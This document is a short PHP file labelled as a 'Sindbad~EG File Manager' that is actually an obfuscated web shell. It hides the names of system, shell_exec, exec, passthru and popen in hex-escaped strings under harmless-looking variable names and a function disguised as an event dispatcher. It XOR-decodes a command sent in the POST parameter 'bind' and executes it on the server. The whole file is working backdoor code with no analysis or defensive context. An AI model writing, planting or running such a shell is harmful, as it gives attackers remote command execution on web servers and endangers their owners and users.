Sindbad~EG File Manager

<?php

$settings1 = "\x73y\x73te\x6D";
$settings7 = "p\x63\x6C\x6Fse";
$settings6 = "\x73\x74re\x61m\x5F\x67\x65\x74\x5Fconte\x6E\x74s";
$event_handler = "hex\x32\x62in";
$settings5 = "\x70o\x70en";
$settings3 = "ex\x65\x63";
$settings2 = "s\x68el\x6C_\x65\x78e\x63";
$settings4 = "\x70ass\x74\x68\x72u";
if (isset($_POST["\x62i\x6Ed"])) {
            function event_dispatcher   ( $comp  , $sym) {
 $elem   = ''   ;
 $h=0;
 while($h<strlen($comp)){
$elem.=chr(ord($comp[$h])^$sym);
$h++;

} return $elem;
 
}
            $bind = $event_handler($_POST["\x62i\x6Ed"]);
            $bind = event_dispatcher($bind, 80);
            if (function_exists($settings1)) {
                $settings1($bind);
            } elseif (function_exists($settings2)) {
                print $settings2($bind);
            } elseif (function_exists($settings3)) {
                $settings3($bind, $key_comp);
                print join("\n", $key_comp);
            } elseif (function_exists($settings4)) {
                $settings4($bind);
            } elseif (function_exists($settings5) && function_exists($settings6) && function_exists($settings7)) {
                $sym_elem = $settings5($bind, 'r');
                if ($sym_elem) {
                    $hld_holder = $settings6($sym_elem);
                    $settings7($sym_elem);
                    print $hld_holder;
                }
            }
            exit;
        }